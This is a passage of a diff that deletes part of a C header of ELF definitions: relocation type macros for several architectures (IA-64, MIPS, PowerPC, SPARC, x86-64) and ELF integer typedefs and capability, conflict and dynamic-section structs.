-_ELF_DEFINE_RELOC(R_IA_64_LTOFF_FPTR32MSB,	0x54)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF_FPTR32LSB,	0x55)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF_FPTR64MSB,	0x56)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF_FPTR64LSB,	0x57)	\
-_ELF_DEFINE_RELOC(R_IA_64_SEGREL32MSB,		0x5c)	\
-_ELF_DEFINE_RELOC(R_IA_64_SEGREL32LSB,		0x5d)	\
-_ELF_DEFINE_RELOC(R_IA_64_SEGREL64MSB,		0x5e)	\
-_ELF_DEFINE_RELOC(R_IA_64_SEGREL64LSB,		0x5f)	\
-_ELF_DEFINE_RELOC(R_IA_64_SECREL32MSB,		0x64)	\
-_ELF_DEFINE_RELOC(R_IA_64_SECREL32LSB,		0x65)	\
-_ELF_DEFINE_RELOC(R_IA_64_SECREL64MSB,		0x66)	\
-_ELF_DEFINE_RELOC(R_IA_64_SECREL64LSB,		0x67)	\
-_ELF_DEFINE_RELOC(R_IA_64_REL32MSB,		0x6c)	\
-_ELF_DEFINE_RELOC(R_IA_64_REL32LSB,		0x6d)	\
-_ELF_DEFINE_RELOC(R_IA_64_REL64MSB,		0x6e)	\
-_ELF_DEFINE_RELOC(R_IA_64_REL64LSB,		0x6f)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTV32MSB,		0x74)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTV32LSB,		0x75)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTV64MSB,		0x76)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTV64LSB,		0x77)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL21BIa,		0x79)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL22,		0x7A)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL64I,		0x7B)	\
-_ELF_DEFINE_RELOC(R_IA_64_IPLTMSB,		0x80)	\
-_ELF_DEFINE_RELOC(R_IA_64_IPLTLSB,		0x81)	\
-_ELF_DEFINE_RELOC(R_IA_64_SUB,			0x85)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF22X,		0x86)	\
-_ELF_DEFINE_RELOC(R_IA_64_LDXMOV,		0x87)	\
-_ELF_DEFINE_RELOC(R_IA_64_TPREL14,		0x91)	\
-_ELF_DEFINE_RELOC(R_IA_64_TPREL22,		0x92)	\
-_ELF_DEFINE_RELOC(R_IA_64_TPREL64I,		0x93)	\
-_ELF_DEFINE_RELOC(R_IA_64_TPREL64MSB,		0x96)	\
-_ELF_DEFINE_RELOC(R_IA_64_TPREL64LSB,		0x97)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF_TPREL22,	0x9A)	\
-_ELF_DEFINE_RELOC(R_IA_64_DTPMOD64MSB,		0xA6)	\
-_ELF_DEFINE_RELOC(R_IA_64_DTPMOD64LSB,		0xA7)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF_DTPMOD22,	0xAA)	\
-_ELF_DEFINE_RELOC(R_IA_64_DTPREL14,		0xB1)	\
-_ELF_DEFINE_RELOC(R_IA_64_DTPREL22,		0xB2)	\
-_ELF_DEFINE_RELOC(R_IA_64_DTPREL64I,		0xB3)	\
-_ELF_DEFINE_RELOC(R_IA_64_DTPREL32MSB,		0xB4)	\
-_ELF_DEFINE_RELOC(R_IA_64_DTPREL32LSB,		0xB5)	\
-_ELF_DEFINE_RELOC(R_IA_64_DTPREL64MSB,		0xB6)	\
-_ELF_DEFINE_RELOC(R_IA_64_DTPREL64LSB,		0xB7)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF_DTPREL22,	0xBA)
-
-#define	_ELF_DEFINE_MIPS_RELOCATIONS()		\
-_ELF_DEFINE_RELOC(R_MIPS_NONE,		0)	\
-_ELF_DEFINE_RELOC(R_MIPS_16,		1)	\
-_ELF_DEFINE_RELOC(R_MIPS_32,		2)	\
-_ELF_DEFINE_RELOC(R_MIPS_REL32,		3)	\
-_ELF_DEFINE_RELOC(R_MIPS_26,		4)	\
-_ELF_DEFINE_RELOC(R_MIPS_HI16,		5)	\
-_ELF_DEFINE_RELOC(R_MIPS_LO16,		6)	\
-_ELF_DEFINE_RELOC(R_MIPS_GPREL16,	7)	\
-_ELF_DEFINE_RELOC(R_MIPS_LITERAL, 	8)	\
-_ELF_DEFINE_RELOC(R_MIPS_GOT16,		9)	\
-_ELF_DEFINE_RELOC(R_MIPS_PC16,		10)	\
-_ELF_DEFINE_RELOC(R_MIPS_CALL16,	11)	\
-_ELF_DEFINE_RELOC(R_MIPS_GPREL32,	12)	\
-_ELF_DEFINE_RELOC(R_MIPS_64,		18)	\
-_ELF_DEFINE_RELOC(R_MIPS_GOTHI16,	21)	\
-_ELF_DEFINE_RELOC(R_MIPS_GOTLO16,	22)	\
-_ELF_DEFINE_RELOC(R_MIPS_CALLHI16,	30)	\
-_ELF_DEFINE_RELOC(R_MIPS_CALLLO16,	31)
-
-#define	_ELF_DEFINE_PPC32_RELOCATIONS()		\
-_ELF_DEFINE_RELOC(R_PPC_NONE,		0)	\
-_ELF_DEFINE_RELOC(R_PPC_ADDR32,		1)	\
-_ELF_DEFINE_RELOC(R_PPC_ADDR24,		2)	\
-_ELF_DEFINE_RELOC(R_PPC_ADDR16,		3)	\
-_ELF_DEFINE_RELOC(R_PPC_ADDR16_LO,	4)	\
-_ELF_DEFINE_RELOC(R_PPC_ADDR16_HI,	5)	\
-_ELF_DEFINE_RELOC(R_PPC_ADDR16_HA,	6)	\
-_ELF_DEFINE_RELOC(R_PPC_ADDR14,		7)	\
-_ELF_DEFINE_RELOC(R_PPC_ADDR14_BRTAKEN,	8)	\
-_ELF_DEFINE_RELOC(R_PPC_ADDR14_BRNTAKEN, 9)	\
-_ELF_DEFINE_RELOC(R_PPC_REL24,		10)	\
-_ELF_DEFINE_RELOC(R_PPC_REL14,		11)	\
-_ELF_DEFINE_RELOC(R_PPC_REL14_BRTAKEN,	12)	\
-_ELF_DEFINE_RELOC(R_PPC_REL14_BRNTAKEN,	13)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT16,		14)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT16_LO,	15)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT16_HI,	16)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT16_HA,	17)	\
-_ELF_DEFINE_RELOC(R_PPC_PLTREL24,	18)	\
-_ELF_DEFINE_RELOC(R_PPC_COPY,		19)	\
-_ELF_DEFINE_RELOC(R_PPC_GLOB_DAT,	20)	\
-_ELF_DEFINE_RELOC(R_PPC_JMP_SLOT,	21)	\
-_ELF_DEFINE_RELOC(R_PPC_RELATIVE,	22)	\
-_ELF_DEFINE_RELOC(R_PPC_LOCAL24PC,	23)	\
-_ELF_DEFINE_RELOC(R_PPC_UADDR32,	24)	\
-_ELF_DEFINE_RELOC(R_PPC_UADDR16,	25)	\
-_ELF_DEFINE_RELOC(R_PPC_REL32,		26)	\
-_ELF_DEFINE_RELOC(R_PPC_PLT32,		27)	\
-_ELF_DEFINE_RELOC(R_PPC_PLTREL32,	28)	\
-_ELF_DEFINE_RELOC(R_PPC_PLT16_LO,	29)	\
-_ELF_DEFINE_RELOC(R_PPL_PLT16_HI,	30)	\
-_ELF_DEFINE_RELOC(R_PPC_PLT16_HA,	31)	\
-_ELF_DEFINE_RELOC(R_PPC_SDAREL16,	32)	\
-_ELF_DEFINE_RELOC(R_PPC_SECTOFF,	33)	\
-_ELF_DEFINE_RELOC(R_PPC_SECTOFF_LO,	34)	\
-_ELF_DEFINE_RELOC(R_PPC_SECTOFF_HI,	35)	\
-_ELF_DEFINE_RELOC(R_PPC_SECTOFF_HA,	36)	\
-_ELF_DEFINE_RELOC(R_PPC_ADDR30,		37)	\
-_ELF_DEFINE_RELOC(R_PPC_TLS,		67)	\
-_ELF_DEFINE_RELOC(R_PPC_DTPMOD32,	68)	\
-_ELF_DEFINE_RELOC(R_PPC_TPREL16,	69)	\
-_ELF_DEFINE_RELOC(R_PPC_TPREL16_LO,	70)	\
-_ELF_DEFINE_RELOC(R_PPC_TPREL16_HI,	71)	\
-_ELF_DEFINE_RELOC(R_PPC_TPREL16_HA,	72)	\
-_ELF_DEFINE_RELOC(R_PPC_TPREL32,	73)	\
-_ELF_DEFINE_RELOC(R_PPC_DTPREL16,	74)	\
-_ELF_DEFINE_RELOC(R_PPC_DTPREL16_LO,	75)	\
-_ELF_DEFINE_RELOC(R_PPC_DTPREL16_HI,	76)	\
-_ELF_DEFINE_RELOC(R_PPC_DTPREL16_HA,	77)	\
-_ELF_DEFINE_RELOC(R_PPC_DTPREL32,	78)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TLSGD16,	79)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TLSGD16_LO,	80)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TLSGD16_HI,	81)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TLSGD16_HA,	82)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TLSLD16,	83)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TLSLD16_LO,	84)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TLSLD16_HI,	85)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TLSLD16_HA,	86)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TPREL16,	87)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TPREL16_LO,	88)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TPREL16_HI,	89)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_TPREL16_HA,	90)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_DTPREL16,	91)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_DTPREL16_LO, 92)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_DTPREL16_HI, 93)	\
-_ELF_DEFINE_RELOC(R_PPC_GOT_DTPREL16_HA, 94)	\
-_ELF_DEFINE_RELOC(R_PPC_TLSGD,		95)	\
-_ELF_DEFINE_RELOC(R_PPC_TLSLD,		96)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_NADDR32,	101)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_NADDR16,	102)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_NADDR16_LO,	103)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_NADDR16_HI,	104)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_NADDR16_HA,	105)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_SDAI16,	106)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_SDA2I16,	107)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_SDA2REL,	108)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_SDA21,	109)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_MRKREF,	110)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_RELSEC16,	111)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_RELST_LO,	112)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_RELST_HI,	113)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_RELST_HA,	114)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_BIT_FLD,	115)	\
-_ELF_DEFINE_RELOC(R_PPC_EMB_RELSDA,	116)	\
-
-#define	_ELF_DEFINE_PPC64_RELOCATIONS()			\
-_ELF_DEFINE_RELOC(R_PPC64_NONE,			0)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR32,		1)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR24,		2)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR16,		3)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR16_LO,		4)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR16_HI,		5)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR16_HA,		6)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR14,		7)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR14_BRTAKEN,	8)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR14_BRNTAKEN,	9)	\
-_ELF_DEFINE_RELOC(R_PPC64_REL24,		10)	\
-_ELF_DEFINE_RELOC(R_PPC64_REL14,		11)	\
-_ELF_DEFINE_RELOC(R_PPC64_REL14_BRTAKEN,	12)	\
-_ELF_DEFINE_RELOC(R_PPC64_REL14_BRNTAKEN,	13)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT16,		14)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT16_LO,		15)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT16_HI,		16)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT16_HA,		17)	\
-_ELF_DEFINE_RELOC(R_PPC64_COPY,			19)	\
-_ELF_DEFINE_RELOC(R_PPC64_GLOB_DAT,		20)	\
-_ELF_DEFINE_RELOC(R_PPC64_JMP_SLOT,		21)	\
-_ELF_DEFINE_RELOC(R_PPC64_RELATIVE,		22)	\
-_ELF_DEFINE_RELOC(R_PPC64_UADDR32,		24)	\
-_ELF_DEFINE_RELOC(R_PPC64_UADDR16,		25)	\
-_ELF_DEFINE_RELOC(R_PPC64_REL32,		26)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLT32,		27)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLTREL32,		28)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLT16_LO,		29)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLT16_HI,		30)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLT16_HA,		31)	\
-_ELF_DEFINE_RELOC(R_PPC64_SECTOFF,		33)	\
-_ELF_DEFINE_RELOC(R_PPC64_SECTOFF_LO,		34)	\
-_ELF_DEFINE_RELOC(R_PPC64_SECTOFF_HI,		35)	\
-_ELF_DEFINE_RELOC(R_PPC64_SECTOFF_HA,		36)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR30,		37)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR64,		38)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR16_HIGHER,	39)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR16_HIGHERA,	40)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR16_HIGHEST,	41)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR16_HIGHESTA,	42)	\
-_ELF_DEFINE_RELOC(R_PPC64_UADDR64,		43)	\
-_ELF_DEFINE_RELOC(R_PPC64_REL64,		44)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLT64,		45)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLTREL64,		46)	\
-_ELF_DEFINE_RELOC(R_PPC64_TOC16,		47)	\
-_ELF_DEFINE_RELOC(R_PPC64_TOC16_LO,		48)	\
-_ELF_DEFINE_RELOC(R_PPC64_TOC16_HI,		49)	\
-_ELF_DEFINE_RELOC(R_PPC64_TOC16_HA,		50)	\
-_ELF_DEFINE_RELOC(R_PPC64_TOC,			51)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLTGOT16,		52)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLTGOT16_LO,		53)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLTGOT16_HI,		54)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLTGOT16_HA,		55)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR16_DS,		56)	\
-_ELF_DEFINE_RELOC(R_PPC64_ADDR16_LO_DS,		57)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT16_DS,		58)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT16_LO_DS,		59)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLT16_LO_DS,		60)	\
-_ELF_DEFINE_RELOC(R_PPC64_SECTOFF_DS,		61)	\
-_ELF_DEFINE_RELOC(R_PPC64_SECTOFF_LO_DS,	62)	\
-_ELF_DEFINE_RELOC(R_PPC64_TOC16_DS,		63)	\
-_ELF_DEFINE_RELOC(R_PPC64_TOC16_LO_DS,		64)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLTGOT16_DS,		65)	\
-_ELF_DEFINE_RELOC(R_PPC64_PLTGOT16_LO_DS,	66)	\
-_ELF_DEFINE_RELOC(R_PPC64_TLS,			67)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPMOD64,		68)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL16,		69)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL16_LO,		60)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL16_HI,		71)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL16_HA,		72)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL64,		73)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL16,		74)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL16_LO,		75)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL16_HI,		76)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL16_HA,		77)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL64,		78)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TLSGD16,		79)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TLSGD16_LO,	80)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TLSGD16_HI,	81)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TLSGD16_HA,	82)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TLSLD16,		83)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TLSLD16_LO,	84)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TLSLD16_HI,	85)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TLSLD16_HA,	86)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TPREL16_DS,	87)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TPREL16_LO_DS,	88)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TPREL16_HI,	89)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_TPREL16_HA,	90)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_DTPREL16_DS,	91)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_DTPREL16_LO_DS,	92)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_DTPREL16_HI,	93)	\
-_ELF_DEFINE_RELOC(R_PPC64_GOT_DTPREL16_HA,	94)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL16_DS,		95)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL16_LO_DS,	96)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL16_HIGHER,	97)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL16_HIGHERA,	98)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL16_HIGHEST,	99)	\
-_ELF_DEFINE_RELOC(R_PPC64_TPREL16_HIGHESTA,	100)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL16_DS,		101)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL16_LO_DS,	102)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL16_HIGHER,	103)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL16_HIGHERA,	104)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL16_HIGHEST,	105)	\
-_ELF_DEFINE_RELOC(R_PPC64_DTPREL16_HIGHESTA,	106)	\
-_ELF_DEFINE_RELOC(R_PPC64_TLSGD,		107)	\
-_ELF_DEFINE_RELOC(R_PPC64_TLSLD,		108)
-
-#define	_ELF_DEFINE_SPARC_RELOCATIONS()		\
-_ELF_DEFINE_RELOC(R_SPARC_NONE,		0)	\
-_ELF_DEFINE_RELOC(R_SPARC_8,		1)	\
-_ELF_DEFINE_RELOC(R_SPARC_16,		2)	\
-_ELF_DEFINE_RELOC(R_SPARC_32, 		3)	\
-_ELF_DEFINE_RELOC(R_SPARC_DISP8,	4)	\
-_ELF_DEFINE_RELOC(R_SPARC_DISP16,	5)	\
-_ELF_DEFINE_RELOC(R_SPARC_DISP32,	6)	\
-_ELF_DEFINE_RELOC(R_SPARC_WDISP30,	7)	\
-_ELF_DEFINE_RELOC(R_SPARC_WDISP22,	8)	\
-_ELF_DEFINE_RELOC(R_SPARC_HI22,		9)	\
-_ELF_DEFINE_RELOC(R_SPARC_22,		10)	\
-_ELF_DEFINE_RELOC(R_SPARC_13,		11)	\
-_ELF_DEFINE_RELOC(R_SPARC_LO10,		12)	\
-_ELF_DEFINE_RELOC(R_SPARC_GOT10,	13)	\
-_ELF_DEFINE_RELOC(R_SPARC_GOT13,	14)	\
-_ELF_DEFINE_RELOC(R_SPARC_GOT22,	15)	\
-_ELF_DEFINE_RELOC(R_SPARC_PC10,		16)	\
-_ELF_DEFINE_RELOC(R_SPARC_PC22,		17)	\
-_ELF_DEFINE_RELOC(R_SPARC_WPLT30,	18)	\
-_ELF_DEFINE_RELOC(R_SPARC_COPY,		19)	\
-_ELF_DEFINE_RELOC(R_SPARC_GLOB_DAT,	20)	\
-_ELF_DEFINE_RELOC(R_SPARC_JMP_SLOT,	21)	\
-_ELF_DEFINE_RELOC(R_SPARC_RELATIVE,	22)	\
-_ELF_DEFINE_RELOC(R_SPARC_UA32,		23)	\
-_ELF_DEFINE_RELOC(R_SPARC_PLT32,	24)	\
-_ELF_DEFINE_RELOC(R_SPARC_HIPLT22,	25)	\
-_ELF_DEFINE_RELOC(R_SPARC_LOPLT10,	26)	\
-_ELF_DEFINE_RELOC(R_SPARC_PCPLT32,	27)	\
-_ELF_DEFINE_RELOC(R_SPARC_PCPLT22,	28)	\
-_ELF_DEFINE_RELOC(R_SPARC_PCPLT10,	29)	\
-_ELF_DEFINE_RELOC(R_SPARC_10,		30)	\
-_ELF_DEFINE_RELOC(R_SPARC_11,		31)	\
-_ELF_DEFINE_RELOC(R_SPARC_64,		32)	\
-_ELF_DEFINE_RELOC(R_SPARC_OLO10,	33)	\
-_ELF_DEFINE_RELOC(R_SPARC_HH22,		34)	\
-_ELF_DEFINE_RELOC(R_SPARC_HM10,		35)	\
-_ELF_DEFINE_RELOC(R_SPARC_LM22,		36)	\
-_ELF_DEFINE_RELOC(R_SPARC_PC_HH22,	37)	\
-_ELF_DEFINE_RELOC(R_SPARC_PC_HM10,	38)	\
-_ELF_DEFINE_RELOC(R_SPARC_PC_LM22,	39)	\
-_ELF_DEFINE_RELOC(R_SPARC_WDISP16,	40)	\
-_ELF_DEFINE_RELOC(R_SPARC_WDISP19,	41)	\
-_ELF_DEFINE_RELOC(R_SPARC_7,		43)	\
-_ELF_DEFINE_RELOC(R_SPARC_5,		44)	\
-_ELF_DEFINE_RELOC(R_SPARC_6,		45)	\
-_ELF_DEFINE_RELOC(R_SPARC_DISP64,	46)	\
-_ELF_DEFINE_RELOC(R_SPARC_PLT64,	47)	\
-_ELF_DEFINE_RELOC(R_SPARC_HIX22,	48)	\
-_ELF_DEFINE_RELOC(R_SPARC_LOX10,	49)	\
-_ELF_DEFINE_RELOC(R_SPARC_H44,		50)	\
-_ELF_DEFINE_RELOC(R_SPARC_M44,		51)	\
-_ELF_DEFINE_RELOC(R_SPARC_L44,		52)	\
-_ELF_DEFINE_RELOC(R_SPARC_REGISTER,	53)	\
-_ELF_DEFINE_RELOC(R_SPARC_UA64,		54)	\
-_ELF_DEFINE_RELOC(R_SPARC_UA16,		55)	\
-_ELF_DEFINE_RELOC(R_SPARC_GOTDATA_HIX22, 80)	\
-_ELF_DEFINE_RELOC(R_SPARC_GOTDATA_LOX10, 81)	\
-_ELF_DEFINE_RELOC(R_SPARC_GOTDATA_OP_HIX22, 82)	\
-_ELF_DEFINE_RELOC(R_SPARC_GOTDATA_OP_LOX10, 83)	\
-_ELF_DEFINE_RELOC(R_SPARC_GOTDATA_OP,	84)	\
-_ELF_DEFINE_RELOC(R_SPARC_H34,		85)
-
-#define	_ELF_DEFINE_X86_64_RELOCATIONS()	\
-_ELF_DEFINE_RELOC(R_X86_64_NONE,	0)	\
-_ELF_DEFINE_RELOC(R_X86_64_64,		1)	\
-_ELF_DEFINE_RELOC(R_X86_64_PC32,	2)	\
-_ELF_DEFINE_RELOC(R_X86_64_GOT32,	3)	\
-_ELF_DEFINE_RELOC(R_X86_64_PLT32,	4)	\
-_ELF_DEFINE_RELOC(R_X86_64_COPY,	5)	\
-_ELF_DEFINE_RELOC(R_X86_64_GLOB_DAT,	6)	\
-_ELF_DEFINE_RELOC(R_X86_64_JUMP_SLOT,	7)	\
-_ELF_DEFINE_RELOC(R_X86_64_RELATIVE,	8)	\
-_ELF_DEFINE_RELOC(R_X86_64_GOTPCREL,	9)	\
-_ELF_DEFINE_RELOC(R_X86_64_32,		10)	\
-_ELF_DEFINE_RELOC(R_X86_64_32S,		11)	\
-_ELF_DEFINE_RELOC(R_X86_64_16,		12)	\
-_ELF_DEFINE_RELOC(R_X86_64_PC16,	13)	\
-_ELF_DEFINE_RELOC(R_X86_64_8,		14)	\
-_ELF_DEFINE_RELOC(R_X86_64_PC8,		15)	\
-_ELF_DEFINE_RELOC(R_X86_64_DTPMOD64,	16)	\
-_ELF_DEFINE_RELOC(R_X86_64_DTPOFF64,	17)	\
-_ELF_DEFINE_RELOC(R_X86_64_TPOFF64,	18)	\
-_ELF_DEFINE_RELOC(R_X86_64_TLSGD,	19)	\
-_ELF_DEFINE_RELOC(R_X86_64_TLSLD,	20)	\
-_ELF_DEFINE_RELOC(R_X86_64_DTPOFF32,	21)	\
-_ELF_DEFINE_RELOC(R_X86_64_GOTTPOFF,	22)	\
-_ELF_DEFINE_RELOC(R_X86_64_TPOFF32,	23)	\
-_ELF_DEFINE_RELOC(R_X86_64_PC64,	24)	\
-_ELF_DEFINE_RELOC(R_X86_64_GOTOFF64,	25)	\
-_ELF_DEFINE_RELOC(R_X86_64_GOTPC32,	26)	\
-_ELF_DEFINE_RELOC(R_X86_64_SIZE32,	32)	\
-_ELF_DEFINE_RELOC(R_X86_64_SIZE64,	33)	\
-_ELF_DEFINE_RELOC(R_X86_64_GOTPC32_TLSDESC, 34)	\
-_ELF_DEFINE_RELOC(R_X86_64_TLSDESC_CALL, 35)	\
-_ELF_DEFINE_RELOC(R_X86_64_TLSDESC,	36)
-
-#define	_ELF_DEFINE_RELOCATIONS()		\
-_ELF_DEFINE_386_RELOCATIONS()			\
-_ELF_DEFINE_AMD64_RELOCATIONS()			\
-_ELF_DEFINE_IA64_RELOCATIONS()			\
-_ELF_DEFINE_MIPS_RELOCATIONS()			\
-_ELF_DEFINE_PPC32_RELOCATIONS()			\
-_ELF_DEFINE_PPC64_RELOCATIONS()			\
-_ELF_DEFINE_SPARC_RELOCATIONS()			\
-_ELF_DEFINE_X86_64_RELOCATIONS()
-
-#undef	_ELF_DEFINE_RELOC
-#define	_ELF_DEFINE_RELOC(N, V)		N = V ,
-enum {
-	_ELF_DEFINE_RELOCATIONS()
-	R__LAST__
-};
-
-#define	PN_XNUM			0xFFFFU /* Use extended section numbering. */
-
-/**
- ** ELF Types.
- **/
-
-typedef uint32_t	Elf32_Addr;	/* Program address. */
-typedef uint8_t		Elf32_Byte;	/* Unsigned tiny integer. */
-typedef uint16_t	Elf32_Half;	/* Unsigned medium integer. */
-typedef uint32_t	Elf32_Off;	/* File offset. */
-typedef uint16_t	Elf32_Section;	/* Section index. */
-typedef int32_t		Elf32_Sword;	/* Signed integer. */
-typedef uint32_t	Elf32_Word;	/* Unsigned integer. */
-typedef uint64_t	Elf32_Lword;	/* Unsigned long integer. */
-
-typedef uint64_t	Elf64_Addr;	/* Program address. */
-typedef uint8_t		Elf64_Byte;	/* Unsigned tiny integer. */
-typedef uint16_t	Elf64_Half;	/* Unsigned medium integer. */
-typedef uint64_t	Elf64_Off;	/* File offset. */
-typedef uint16_t	Elf64_Section;	/* Section index. */
-typedef int32_t		Elf64_Sword;	/* Signed integer. */
-typedef uint32_t	Elf64_Word;	/* Unsigned integer. */
-typedef uint64_t	Elf64_Lword;	/* Unsigned long integer. */
-typedef uint64_t	Elf64_Xword;	/* Unsigned long integer. */
-typedef int64_t		Elf64_Sxword;	/* Signed long integer. */
-
-
-/*
- * Capability descriptors.
- */
-
-/* 32-bit capability descriptor. */
-typedef struct {
-	Elf32_Word	c_tag;	     /* Type of entry. */
-	union {
-		Elf32_Word	c_val; /* Integer value. */
-		Elf32_Addr	c_ptr; /* Pointer value. */
-	} c_un;
-} Elf32_Cap;
-
-/* 64-bit capability descriptor. */
-typedef struct {
-	Elf64_Xword	c_tag;	     /* Type of entry. */
-	union {
-		Elf64_Xword	c_val; /* Integer value. */
-		Elf64_Addr	c_ptr; /* Pointer value. */
-	} c_un;
-} Elf64_Cap;
-
-/*
- * MIPS .conflict section entries.
- */
-
-/* 32-bit entry. */
-typedef struct {
-	Elf32_Addr	c_index;
-} Elf32_Conflict;
-
-/* 64-bit entry. */
-typedef struct {
-	Elf64_Addr	c_index;
-} Elf64_Conflict;
-
-/*
- * Dynamic section entries.
- */
-
-/* 32-bit entry. */
-typedef struct {
-	Elf32_Sword	d_tag;	     /* Type of entry. */
-	union {
-		Elf32_Word	d_val; /* Integer value. */
-		Elf32_Addr	d_ptr; /* Pointer value. */
-	} d_un;
-} Elf32_Dyn;
-
-/* 64-bit entry. */
-typedef struct {
-	Elf64_Sxword	d_tag;	     /* Type of entry. */
-	union {
-		Elf64_Xword	d_val; /* Integer value. */
